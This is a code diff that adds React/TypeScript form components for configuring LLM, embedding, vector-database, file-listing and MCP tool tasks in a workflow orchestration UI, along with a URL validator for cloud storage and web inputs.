const maybeEmbeddingModelProvider = + task?.inputParameters?.embeddingModelProvider; + if (maybeEmbeddingModelProvider) { + const path = `/integrations/provider/${maybeEmbeddingModelProvider}/integration?activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } + } + return []; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/types.ts new file mode 100644 index 0000000..664a55f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/types.ts @@ -0,0 +1,73 @@ +import { AuthHeaders } from "types/common"; +import { PromptDef, TaskDef, UiIntegrationsFieldType } from "types"; + +export enum LLMFormFieldsMachineEventTypes { + FOCUS_LLM_PROVIDER = "FOCUS_LLM_PROVIDER", + FOCUS_PROMPT_NAMES = "FOCUS_PROMPT_NAME", + FOCUS_MODEL = "FOCUS_MODEL", + FOCUS_VECTORDB = "FOCUS_VECTORDB", + FOCUS_INDEX = "FOCUS_INDEX", + FOCUS_EMBEDDINGS_MODEL_PROVIDER = "FOCUS_EMBEDDINGS_MODEL_PROVIDER", + FOCUS_EMBEDDINGS_MODEL = "FOCUS_EMBEDDINGS_MODEL", + + SELECT_PROMPT_NAME = "SELECT_PROMPT_NAME", + UPDATE_TASK = "UPDATE_TASK", + SELECT_INSTRUCTIONS = "SELECT_INSTRUCTIONS", +} + +export enum LLMFormFieldsMachineStates { + DETERMINE_INITIAL_STATE = "DETERMINE_INITIAL_STATE", + IDLE = "IDLE", + FETCH_MODEL_OPTIONS = "FETCH_MODEL_OPTIONS", + FETCH_PROMPT_NAMES = "FETCH_PROMPT_NAME", + FETCH_LLM_PROVIDER_OPTIONS = "FETCH_LLM_PROVIDER_OPTIONS", + FETCH_VECTORDB_OPTIONS = "FETCH_VECTORDB_OPTIONS", + FETCH_INDEX_OPTIONS = "FETCH_INDEX_OPTIONS", + FETCH_EMBEDDINGS_MODEL_PROVIDER = "FETCH_EMBEDDINGS_MODEL_PROVIDER", + FETCH_EMBEDDINGS_MODEL = "FETCH_EMBEDDINGS_MODEL", +} + +export type FocusEvent = { + type: LLMFormFieldsMachineEventTypes; + task: Partial; +}; + +export type UpdateTaskEvent = { + type: LLMFormFieldsMachineEventTypes; + task: Partial; +}; + +export type SelectPromptNameEvent = { + type: LLMFormFieldsMachineEventTypes.SELECT_PROMPT_NAME; + task: Partial; +}; + +export type SelectInstructionsEvent = { + type: LLMFormFieldsMachineEventTypes.SELECT_INSTRUCTIONS; + task: Partial; +}; + +type Error = { + message: string; + severity: string; // Not really a string +}; + +export type LLMFormFieldsEvents = + | FocusEvent + | SelectPromptNameEvent + | UpdateTaskEvent; + +export interface LLMFormFieldsMachineContext { + fields: UiIntegrationsFieldType[]; + selectedPromptName?: Record; + selectedPrompt?: PromptDef | null; + authHeaders?: AuthHeaders; + llmProviderOptions: []; + promptNameOptions: PromptDef[]; + modelOptions: []; + vectorDbOptions: []; + indexOptions: []; + embeddingModelOptions: []; + error?: Error; + task: Partial; +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGenerateEmbeddingsTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGenerateEmbeddingsTaskForm.tsx new file mode 100644 index 0000000..c240fd7 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGenerateEmbeddingsTaskForm.tsx @@ -0,0 +1,71 @@ +import { Box } from "@mui/material"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { fieldsToFieldsFieldsComponents } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const modelFields = [ + UiIntegrationsFieldType.LLM_PROVIDER, + UiIntegrationsFieldType.MODEL, +]; + +const embeddingFields = [ + UiIntegrationsFieldType.TEXT, + UiIntegrationsFieldType.DIMENSIONS, +]; + +const modelFieldComponents = fieldsToFieldsFieldsComponents(modelFields); +const embeddingFieldComponents = + fieldsToFieldsFieldsComponents(embeddingFields); + +const allFieldComponents = [ + ...modelFieldComponents, + ...embeddingFieldComponents, +]; + +export const LLMGenerateEmbeddingsTaskForm = ({ + task, + onChange, +}: TaskFormProps) => { + return ( + + {(actor) => ( + + + + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGetEmbeddingsTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGetEmbeddingsTaskForm.tsx new file mode 100644 index 0000000..406c0f7 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGetEmbeddingsTaskForm.tsx @@ -0,0 +1,66 @@ +import { Box } from "@mui/material"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { fieldsToFieldsFieldsComponents } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.NAMESPACE, + UiIntegrationsFieldType.INDEX, +]; + +const embeddingFields = [UiIntegrationsFieldType.EMBEDDINGS]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingFieldComponents = + fieldsToFieldsFieldsComponents(embeddingFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingFieldComponents, +]; + +export const LLMGetEmbeddingsTaskForm = ({ task, onChange }: TaskFormProps) => { + return ( + + {(actor) => ( + + + + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexDocumentTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexDocumentTaskForm.tsx new file mode 100644 index 0000000..d1e41d6 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexDocumentTaskForm.tsx @@ -0,0 +1,150 @@ +import { Box, Grid, Typography } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { path as _path } from "lodash/fp"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { + fieldsToFieldsFieldsComponents, + updateField, +} from "utils/fieldHelpers"; +import { ConductorAdditionalHeadersBase } from "./HTTPTaskForm/ConductorAdditionalHeaders"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.INDEX, + UiIntegrationsFieldType.NAMESPACE, +]; + +const embeddingModelFields = [ + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + UiIntegrationsFieldType.EMBEDDING_MODEL, + UiIntegrationsFieldType.DIMENSIONS, +]; + +const documentFields = [ + UiIntegrationsFieldType.URL, + UiIntegrationsFieldType.MEDIA_TYPE, +]; + +const chunkingFields = [ + UiIntegrationsFieldType.CHUNK_SIZE, + UiIntegrationsFieldType.CHUNK_OVERLAP, +]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingModelFieldComponents = + fieldsToFieldsFieldsComponents(embeddingModelFields); +const documentFieldComponents = fieldsToFieldsFieldsComponents(documentFields); +const chunkingFieldComponents = fieldsToFieldsFieldsComponents(chunkingFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingModelFieldComponents, + ...documentFieldComponents, + ...chunkingFieldComponents, +]; + +export const LLMIndexDocumentTaskForm = ({ task, onChange }: TaskFormProps) => { + const get = (p: string) => _path(p, task); + const set = (p: string, value: any) => onChange(updateField(p, value, task)); + + const metadata: Record = + (get("inputParameters.metadata") as Record) || {}; + + return ( + + {(actor) => ( + + + + + + + + + + + + + Provide a document URL above, or index inline{" "} + text directly below. + + + + set("inputParameters.text", v)} + multiline + rows={4} + fullWidth + placeholder="Inline text to index (alternative to URL)" + /> + + + set("inputParameters.docId", v)} + /> + + + + + + + + + + set("inputParameters.metadata", m)} + /> + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexTextTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexTextTaskForm.tsx new file mode 100644 index 0000000..6fb377d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexTextTaskForm.tsx @@ -0,0 +1,86 @@ +import { Box } from "@mui/material"; + +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { fieldsToFieldsFieldsComponents } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.NAMESPACE, + UiIntegrationsFieldType.INDEX, +]; + +const embeddingModelFields = [ + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + UiIntegrationsFieldType.EMBEDDING_MODEL, + UiIntegrationsFieldType.DIMENSIONS, +]; + +const textFields = [ + UiIntegrationsFieldType.TEXT, + UiIntegrationsFieldType.DOC_ID, +]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingModelFieldComponents = + fieldsToFieldsFieldsComponents(embeddingModelFields); +const textFieldComponents = fieldsToFieldsFieldsComponents(textFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingModelFieldComponents, + ...textFieldComponents, +]; + +export const LLMIndexTextTaskForm = ({ task, onChange }: TaskFormProps) => { + return ( + + {(actor) => ( + + + + + + + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchEmbeddingsTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchEmbeddingsTaskForm.tsx new file mode 100644 index 0000000..fe4848d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchEmbeddingsTaskForm.tsx @@ -0,0 +1,140 @@ +import { Box, Grid, Typography } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { path as _path } from "lodash/fp"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { + fieldsToFieldsFieldsComponents, + updateField, +} from "utils/fieldHelpers"; +import { ConductorAdditionalHeadersBase } from "./HTTPTaskForm/ConductorAdditionalHeaders"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { LLMFormFields } from "./LLMFormFields/LLMFormFields"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.INDEX, + UiIntegrationsFieldType.NAMESPACE, +]; + +const embeddingModelFields = [ + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + UiIntegrationsFieldType.EMBEDDING_MODEL, +]; + +const searchFields = [ + UiIntegrationsFieldType.QUERY, + UiIntegrationsFieldType.MAX_RESULTS, + UiIntegrationsFieldType.DIMENSIONS, +]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingModelFieldComponents = + fieldsToFieldsFieldsComponents(embeddingModelFields); +const searchFieldComponents = fieldsToFieldsFieldsComponents(searchFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingModelFieldComponents, + ...searchFieldComponents, +]; + +/** + * Config form for LLM_SEARCH_EMBEDDINGS — searches a vector database using pre-computed embeddings + * (as opposed to LLM_SEARCH_INDEX, which generates embeddings from a query string). + */ +export const LLMSearchEmbeddingsTaskForm = ({ + task, + onChange, +}: TaskFormProps) => { + const get = (p: string) => _path(p, task); + const set = (p: string, value: any) => onChange(updateField(p, value, task)); + + const metadata: Record = + (get("inputParameters.metadata") as Record) || {}; + + return ( + + {(actor) => ( + + + + + + + + + + + + + set("inputParameters.embeddings", v)} + placeholder="${generateEmbeddings.output.result}" + /> + + + + When embeddings is set it is used directly; + otherwise the query below is embedded with + the selected embedding model. + + + + + + + + + + + + set("inputParameters.metadata", m)} + /> + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchIndexTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchIndexTaskForm.tsx new file mode 100644 index 0000000..90c2f75 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchIndexTaskForm.tsx @@ -0,0 +1,83 @@ +import { Box } from "@mui/material"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { fieldsToFieldsFieldsComponents } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.INDEX, + UiIntegrationsFieldType.NAMESPACE, +]; + +const embeddingModelFields = [ + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + UiIntegrationsFieldType.EMBEDDING_MODEL, +]; + +const searchFields = [ + UiIntegrationsFieldType.QUERY, + UiIntegrationsFieldType.MAX_RESULTS, + UiIntegrationsFieldType.DIMENSIONS, +]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingModelFieldComponents = + fieldsToFieldsFieldsComponents(embeddingModelFields); +const searchFieldComponents = fieldsToFieldsFieldsComponents(searchFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingModelFieldComponents, + ...searchFieldComponents, +]; + +export const LLMSearchIndexTaskForm = ({ task, onChange }: TaskFormProps) => ( + + {(actor) => ( + + + + + + + + + + + + + + + + + + )} + +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMStoreEmbeddingsTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMStoreEmbeddingsTaskForm.tsx new file mode 100644 index 0000000..f255a69 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMStoreEmbeddingsTaskForm.tsx @@ -0,0 +1,90 @@ +import { Box } from "@mui/material"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { fieldsToFieldsFieldsComponents } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const vectorDbFields = [ + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.INDEX, + UiIntegrationsFieldType.NAMESPACE, + UiIntegrationsFieldType.ID, +]; + +const embeddingModelFields = [ + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + UiIntegrationsFieldType.EMBEDDING_MODEL, + UiIntegrationsFieldType.EMBEDDINGS, +]; + +const vectorDbFieldComponents = fieldsToFieldsFieldsComponents(vectorDbFields); +const embeddingModelFieldComponents = + fieldsToFieldsFieldsComponents(embeddingModelFields); + +const allFieldComponents = [ + ...vectorDbFieldComponents, + ...embeddingModelFieldComponents, +]; + +export const LLMStoreEmbeddingsTaskForm = ({ + task, + onChange, +}: TaskFormProps) => ( + + {(actor) => ( + + + + + + + + + + onChange({ + ...task, + inputParameters: { + ...(task?.inputParameters || {}), + metadata: newParams, + }, + }) + } + /> + + + + + + + + + )} + +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMTextCompleteTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMTextCompleteTaskForm.tsx new file mode 100644 index 0000000..8628ebd --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMTextCompleteTaskForm.tsx @@ -0,0 +1,100 @@ +import { Box, Grid } from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { path as _path } from "lodash/fp"; +import { LLMFormFields } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { + fieldsToFieldsFieldsComponents, + updateField, +} from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; + +const modelFields = [ + UiIntegrationsFieldType.LLM_PROVIDER, + UiIntegrationsFieldType.MODEL, +]; + +const fineTuningFields = [ + UiIntegrationsFieldType.TEMPERATURE, + UiIntegrationsFieldType.TOP_P, + UiIntegrationsFieldType.MAX_TOKENS, + UiIntegrationsFieldType.STOP_WORDS, +]; + +const modelFieldComponents = fieldsToFieldsFieldsComponents(modelFields); +const fineTuningFieldComponents = + fieldsToFieldsFieldsComponents(fineTuningFields); + +// prompt is a plain textarea (below), not the saved-prompt picker (PROMPT_NAME). +// Enterprise plugins override with the saved AI Prompt picker (see conductor-ui). +const allFieldComponents = [ + ...modelFieldComponents, + ...fineTuningFieldComponents, +]; + +export const LLMTextCompleteTaskForm = ({ task, onChange }: TaskFormProps) => { + const prompt = _path("inputParameters.prompt", task) || ""; + + return ( + + {(actor) => ( + + + + + + onChange(updateField("inputParameters.prompt", v, task)) + } + multiline + rows={6} + fullWidth + placeholder="Enter the text prompt to complete..." + /> + + + + + + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListFilesTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListFilesTaskForm.tsx new file mode 100644 index 0000000..91c1c45 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListFilesTaskForm.tsx @@ -0,0 +1,305 @@ +import { Box, Grid, Typography } from "@mui/material"; +import { path as _path, pipe as _pipe, assoc as _assoc } from "lodash/fp"; +import { useState } from "react"; + +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapForm } from "components/FlatMapForm/ConductorFlatMapForm"; +import { TaskType } from "types"; +import { updateField } from "utils/fieldHelpers"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { Optional } from "./OptionalFieldForm"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { useGetIntegration } from "utils/hooks"; +import { MaybeVariable } from "./MaybeVariable"; + +const DEFAULT_VALUES_FOR_FILE_TYPES_ARRAY = [ + "java", + "xls", + "csv", + "pdf", + "All", +]; +const integrationNamePath = "inputParameters.integrationName"; +const inputLocationPath = "inputParameters.inputLocation"; +const outputLocationPath = "inputParameters.outputLocation"; +const fileTypesPath = "inputParameters.fileTypes"; +const integrationNamesPath = "inputParameters.integrationNames"; + +// Helper function to validate URL format for web-based inputs +const validateWebUrl = (value: string): string | null => { + // Skip validation for variable references + if (value.includes("${") || value.includes("$.")) { + return null; + } + + // Check for cloud storage protocols first + if (value.startsWith("s3://")) { + // Validate S3 URL format: s3://bucketname/folder + const s3Path = value.substring(5); // Remove "s3://" + if (!s3Path || s3Path.length === 0) { + return "Invalid S3 URL: Missing bucket name. Example: s3://bucketname/folder"; + } + if (s3Path.includes("//")) { + return "Invalid S3 URL: Double slashes not allowed. Example: s3://bucketname/folder"; + } + return null; + } + + if (value.startsWith("gs://")) { + // Validate Google Cloud Storage URL format: gs://path + const gsPath = value.substring(5); // Remove "gs://" + if (!gsPath || gsPath.length === 0) { + return "Invalid GCS URL: Missing path. Example: gs://path"; + } + if (gsPath.includes("//")) { + return "Invalid GCS URL: Double slashes not allowed. Example: gs://path"; + } + return null; + } + + if (value.startsWith("azureblob://")) { + // Validate Azure Blob Storage URL format: azureblob://path + const azurePath = value.substring(12); // Remove "azureblob://" + if (!azurePath || azurePath.length === 0) { + return "Invalid Azure Blob URL: Missing path. Example: azureblob://path"; + } + if (azurePath.includes("//")) { + return "Invalid Azure Blob URL: Double slashes not allowed. Example: azureblob://path"; + } + return null; + } + + // Check if it's a web-based URL (http/https) + try { + const url = new URL(value); + // Validate that the URL has a valid hostname + if (!url.hostname || url.hostname.length === 0) { + return "Invalid URL: Missing hostname"; + } + // Check for proper URL structure + if (url.protocol !== "http:" && url.protocol !== "https:") { + return "Invalid URL: Only http://, https://, s3://, gs://, and azureblob:// protocols are supported"; + } + } catch { + return "Invalid URL format. Examples: https://example.com/path, s3://bucketname/folder, gs://bucketname/folder, azureblob://container/path"; + } + + return null; +}; + +export const ListFilesTaskForm = ({ task, onChange }: TaskFormProps) => { + const integrationName = _path(integrationNamePath, task); + const inputLocation = _path(inputLocationPath, task); + const outputLocation = _path(outputLocationPath, task); + const fileTypes = _path(fileTypesPath, task); + const integrationNames = _path(integrationNamesPath, task); + + const [inputLocationError, setInputLocationError] = useState( + null, + ); + + // need to fetch compatible integration names and pass them to the integrationName autocomplete options + const integrations = useGetIntegration({}); + + // Filter integrations to only include git, aws, and gcp types + const integrationNameOptions = + integrations?.data + ?.filter((integration) => { + const type = integration?.type?.toLowerCase() || ""; + // Filter by type containing git, aws, or gcp + return type === "git" || type === "aws" || type === "gcp"; + }) + ?.map((integration) => integration?.name) || []; + + return ( + + + + + + + + onChange(updateField(integrationNamePath, changes, task)) + } + /> + + + + + + + { + // Validate URL format for web-based inputs + const error = validateWebUrl(changes); + setInputLocationError(error); + onChange(updateField(inputLocationPath, changes, task)); + }} + label="Input Location" + error={!!inputLocationError || !inputLocation} + helperText={inputLocationError || undefined} + inputProps={{ + tooltip: { + title: "Input Location", + content: ( +
      + + Location of files to be indexed. + + + Examples based on integration type: + + + Cloud Storage: + +
        +
      • s3://bucketname/folder
        • +
      • gs://path
        • +
      • azureblob://path
        • +
      + + Git Repositories: + +
        +
      • https://github.com/owner/repo
        • +
      • https://gitlab.com/owner/repo
        • +
      + + Website Sitemap: + +
        +
      • + https://example.com/sitemap.xml (full path + required) +
        • +
      + + Single Page: + +
        +
      • https://example.com/page.html
        • +
      +
      + ), + }, + }} + /> +       + + { + onChange(updateField(fileTypesPath, val, task)); + }} + path={fileTypesPath} + taskType={TaskType.LIST_FILES} + helperTextStyle={{ padding: 0 }} + fieldStyle={{ paddingX: 0 }} + > + { + // Validate and sanitize file types: remove dots and convert to lowercase + const sanitizedFileTypes = val.map((fileType) => + fileType.replace(/\./g, "").toLowerCase(), + ); + onChange( + updateField(fileTypesPath, sanitizedFileTypes, task), + ); + }} + value={fileTypes} + conductorInputProps={{ + tooltip: { + title: "Field Name", + content: + "List of file types to include (e.g., java, xls, csv, pdf, etc.). File types should be lowercase without dots.", + }, + }} + /> + + +       +       + + + + + onChange(updateField(outputLocationPath, changes, task)) + } + label="Output Location" + inputProps={{ + tooltip: { + title: "Output Location", + content: + "Location to store the output list of files as a text file.", + }, + }} + /> + + + +       +       + + + { + onChange(updateField(integrationNamesPath, val, task)); + }} + path={integrationNamesPath} + taskType={TaskType.LIST_FILES} + helperTextStyle={{ padding: 0 }} + fieldStyle={{ paddingX: 0 }} + > + <> + Map of integration types to integration names for multiple + integrations + + + + + onChange(updateField(integrationNamesPath, changes, task)) + } + value={integrationNames} + taskType={TaskType.LIST_FILES} + path={integrationNamesPath} + otherOptions={integrationNameOptions} + /> + + + + + + + + + +       + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListMcpToolsTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListMcpToolsTaskForm.tsx new file mode 100644 index 0000000..b67b058 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListMcpToolsTaskForm.tsx @@ -0,0 +1,55 @@ +import { Box, Grid } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { path as _path } from "lodash/fp"; +import { updateField } from "utils/fieldHelpers"; +import { ConductorAdditionalHeadersBase } from "./HTTPTaskForm/ConductorAdditionalHeaders"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +/** Config form for LIST_MCP_TOOLS — lists tools exposed by a Model Context Protocol server. */ +export const ListMcpToolsTaskForm = ({ task, onChange }: TaskFormProps) => { + const get = (p: string) => _path(p, task); + const set = (p: string, value: any) => onChange(updateField(p, value, task)); + + const headers: Record = + (get("inputParameters.headers") as Record) || {}; + + return ( + + + + + set("inputParameters.mcpServer", v)} + /> + + + + + + + + set("inputParameters.headers", h)} + /> + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MCPTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MCPTaskForm.tsx new file mode 100644 index 0000000..e358799 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MCPTaskForm.tsx @@ -0,0 +1,449 @@ +import { + materialCells, + materialRenderers, +} from "@jsonforms/material-renderers"; +import { JsonForms } from "@jsonforms/react"; +import { + Box, + CircularProgress, + Grid, + ThemeProvider, + Typography, + createTheme, +} from "@mui/material"; +import { GearIcon } from "@phosphor-icons/react"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { IntegrationIcon } from "components/IntegrationIcon"; +import { useNavigate } from "react-router"; +import { colors } from "theme/tokens/variables"; +import { TaskType } from "types"; +import { updateField } from "utils/fieldHelpers"; +import { + useMCPIntegrations, + useMCPTools, +} from "utils/hooks/useMCPIntegrations"; +import { downgradeSchemaToDraft7 } from "utils/json"; +import { useFetch } from "utils/query"; +import { MaybeVariable } from "./MaybeVariable"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { useMemo } from "react"; + +export const MCPTaskForm = ({ task, onChange }: TaskFormProps) => { + const navigate = useNavigate(); + const customTheme = createTheme({ + components: { + MuiTextField: { + styleOverrides: { + root: { + backgroundColor: "#FFFFFF", + fontSize: "14px", + fontWeight: 200, + minHeight: "unset", + marginBottom: "16px", + + // Remove autofill background's input + "& input:-webkit-autofill": { + WebkitBoxShadow: "0 0 0 100px #ffffff inset", + }, + + "& ::placeholder": { + color: "#AFAFAF", + }, + }, + }, + }, + MuiFormControl: { + styleOverrides: { + root: { + marginBottom: "16px", + }, + }, + }, + MuiInputLabel: { + styleOverrides: { + root: { + fontSize: "14px", + fontWeight: 200, + pointerEvents: "auto", + transform: "translate(12px, -9px) scale(0.857)", + color: "#494949", + + "&.Mui-focused": { + fontWeight: 500, + color: "#1976D2", + }, + + "&.Mui-error": { + color: "#D6423B", + }, + + "&.Mui-disabled": { + color: "#858585", + }, + }, + }, + }, + MuiOutlinedInput: { + styleOverrides: { + root: { + backgroundColor: "#FFFFFF", + fontSize: "14px", + fontWeight: 200, + color: "#060606", + minHeight: "unset", + + ".MuiInputBase-input": { + padding: "14px 8px 8px 8px", + "&.Mui-disabled": { + WebkitTextFillColor: "#494949", + }, + }, + + ".MuiOutlinedInput-notchedOutline": { + borderWidth: 1, + borderStyle: "solid", + borderRadius: "4px", + borderColor: "#AFAFAF", + + // This will make the legend has same size with the label + "& legend": { + maxWidth: "100%", + fontSize: "0.857em", + fontWeight: 200, + }, + }, + + "&:hover .MuiOutlinedInput-notchedOutline": { + borderColor: "#1876D1", + borderWidth: 1, + }, + + "&.Mui-focused .MuiOutlinedInput-notchedOutline": { + borderWidth: 1, + borderColor: "#1876D1", + + "& legend": { + fontWeight: 500, + }, + 